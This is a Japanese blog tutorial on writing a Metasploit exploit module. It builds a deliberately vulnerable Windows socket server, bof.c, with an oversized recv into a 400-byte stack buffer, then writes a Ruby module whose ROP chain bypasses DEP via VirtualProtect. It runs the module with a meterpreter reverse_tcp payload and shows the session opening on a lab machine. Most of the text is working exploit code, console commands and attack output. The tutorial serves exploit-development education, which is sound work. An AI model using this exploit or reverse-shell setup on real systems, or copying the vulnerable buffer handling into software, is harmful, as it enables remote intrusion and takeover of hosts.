Metasploitのexploitモジュールを書いてみる
Metasploit Frameworkは、エクスプロイトコード実行をはじめとした種々のタスクを統一されたインタフェースで扱うための統合環境(フレームワーク)である。 ここでは、スタックバッファオーバーフロー脆弱性のあるプログラムを用意し、これに対するexploitモジュールを書いてみる。 さらに、このモジュールを使って攻撃を実行してみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion" 7.10.3052.4
Kali Linux 1.1.0a 64 bit版、Metasploit Framework 4.11.3
root@vm-kali64:~# uname -a Linux vm-kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux root@vm-kali64:~# lsb_release -a No LSB modules are available. Distributor ID: Kali Description: Kali GNU/Linux 1.1.0 Release: 1.1.0 Codename: moto root@vm-kali64:~# msfconsole -v Framework Version: 4.11.3-2015063001
脆弱性のあるプログラムを書いてみる
脆弱性のあるプログラムおよびエクスプロイトコードは、「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同じものを用いることにする。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
コンパイルし、実行ファイルを生成する。
>cl bof.c /GS- /link /dynamicbase:no
Metasploitモジュールを書いてみる
Metasploitモジュールは、エクスプロイトを行うexploitモジュール、シェルコードを生成するpayload/encoder/nopsモジュール、ネットワークに対する攻撃やスキャンなどを行うauxiliaryモジュールのようにタイプに応じた分類がされている。 また、exploitモジュールではpayload/encoder/nopsモジュールが生成するシェルコードを実行させることが前提とされている(参考)。
下記のドキュメントを参考に、exploitモジュールを書いてみると次のようになる。 Metasploit本体がRubyによって書かれているため、モジュールもRubyで書くことになる。
- How to get started with writing an exploit · rapid7/metasploit-framework Wiki
- How to use the Msf::Exploit::Remote::Tcp mixin · rapid7/metasploit-framework Wiki
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => 'Example bof.exe Stack-based Buffer OverFlow', 'Description' => %q{ Just an example of Metasploit module for bof.exe (sha1sum 0099227bdf04eced42c28bb94cdb9c88ae1d0ada). Requires msvcr71.dll (version 7.10.3052.4). }, 'License' => MSF_LICENSE, 'Author' => [ 'inaz2' ], 'References' => [ [ 'URL', 'http://inaz2.hatenablog.com/entry/2015/07/11/211409' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows 8.1 Pro Japanese', { 'Buffer' => 0x0018FBF0 } ] ], 'Payload' => { }, 'Privileged' => false, 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0)) end def exploit connect offset = 404 libname = "M\x00S\x00V\x00C\x00R\x007\x001\x00\x00\x00" junk = 'A' * (offset-libname.length) rop_payload = [ 0x004011e2, # pop ecx; ret 0x0040d0cc, # LoadLibraryExW in IAT 0x004056c1, # jmp [ecx]; 0x00401038, # ret; target['Buffer'], # lpFileName 0, # hFile 0, # dwFlags 0x004011e2, # pop ecx; ret 0x7c37a140, # VirtualProtect in IAT [MSVCR71.dll] 0x004056c1, # jmp [ecx]; target['Buffer']+offset+4*15, target['Buffer'], # lpAddress 1024, # dwSize 0x40, # flNewProtect = PAGE_EXECUTE_READWRITE target['Buffer'], # lpflOldProtect ].pack('V*') sploit = libname + junk + rop_payload + payload.encoded sock.put(sploit) handler disconnect end end
ソケット通信を行うには、Msf::Exploit::Remote::Tcp
クラスをMixinする。
上のコードにおいて、payload.encoded
には使用時に指定されたpayload/encoderモジュールが生成するシェルコードが入り、handler
メソッドの呼び出しによりシェルコードに対応するハンドラがconnect-back接続の待ち受けなどを行う。
Targets
にはOSやアプリケーションのバージョンごとに異なるメモリアドレス、定数などを書き、複数定義した場合は使用時に切り替えることが可能となる。
ユーザが作成したモジュールは~/.msf4/modules/
に配置する。
ここでは、/usr/share/metasploit-framework/modules/
にある標準のディレクトリ構成にならい、~/.msf4/modules/exploits/windows/misc/example_bof.rb
に上のモジュールを置くことにする。
Metasploitモジュールを使ってみる
作成したexploitモジュールを使って攻撃を行ってみる。 まず、ターゲットとなるマシンで脆弱性のあるプログラムを起動する。
>bof.exe [+] listening on 0.0.0.0 port 4444
次に、攻撃側のマシンでMetasploitを起動し、モジュールの検索および概要の表示を行ってみる。
ここでは、payloadモジュールとしてwindows/meterpreter/reverse_tcp
を使用し、Meterpreterコンソールの起動を試みることとする。
root@vm-kali64:~# msfconsole -q msf > search bof.exe [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/misc/example_bof 2015-07-11 normal Example bof.exe Stack-based Buffer OverFlow msf > info exploit/windows/misc/example_bof Name: Example bof.exe Stack-based Buffer OverFlow Module: exploit/windows/misc/example_bof Platform: Windows Privileged: No License: Metasploit Framework License (BSD) Rank: Normal Disclosed: 2015-07-11 Provided by: inaz2 Available targets: Id Name -- ---- 0 Windows 8.1 Pro Japanese Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT yes The target port Payload information: Description: Just an example of Metasploit module for bof.exe (sha1sum 0099227bdf04eced42c28bb94cdb9c88ae1d0ada). Requires msvcr71.dll (version 7.10.3052.4). References: http://inaz2.hatenablog.com/entry/2015/07/11/211409 msf > info payload/windows/meterpreter/reverse_tcp Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager Module: payload/windows/meterpreter/reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 281 Rank: Normal Provided by: skape <mmiller@hick.org> sf <stephen_fewer@harmonysecurity.com> OJ Reeves hdm <hdm@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Description: Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker
使用するexploitモジュール、payloadモジュールを選択し、それぞれのオプションを指定する。
オプションの詳細はshow options
で確認することができる。
msf > use exploit/windows/misc/example_bof msf exploit(example_bof) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(example_bof) > show options Module options (exploit/windows/misc/example_bof): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT yes The target port Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 8.1 Pro Japanese msf exploit(example_bof) > set RHOST 192.168.56.1 RHOST => 192.168.56.1 msf exploit(example_bof) > set RPORT 4444 RPORT => 4444 msf exploit(example_bof) > set LHOST 192.168.56.4 LHOST => 192.168.56.4 msf exploit(example_bof) > set LPORT 8888 LPORT => 8888 msf exploit(example_bof) > show options Module options (exploit/windows/misc/example_bof): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.1 yes The target address RPORT 4444 yes The target port Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none) LHOST 192.168.56.4 yes The listen address LPORT 8888 yes The listen port Exploit target: Id Name -- ---- 0 Windows 8.1 Pro Japanese
exploitコマンドでターゲットマシンへの攻撃を実行する。
msf exploit(example_bof) > exploit [*] Started reverse handler on 192.168.56.4:8888 [*] Sending stage (884270 bytes) to 192.168.56.1 [*] Meterpreter session 1 opened (192.168.56.4:8888 -> 192.168.56.1:61706) at 2015-07-14 00:03:37 +0900 meterpreter > getuid Server username: target-win8\user
攻撃の成功によりMeterpreterコンソールが起動し、ターゲットマシンの情報が取得できていることが確認できる。
最後に、MeterpreterコンソールおよびMetasploitを終了する。
meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.56.1 - Meterpreter session 1 closed. Reason: User exit msf exploit(example_bof) > exit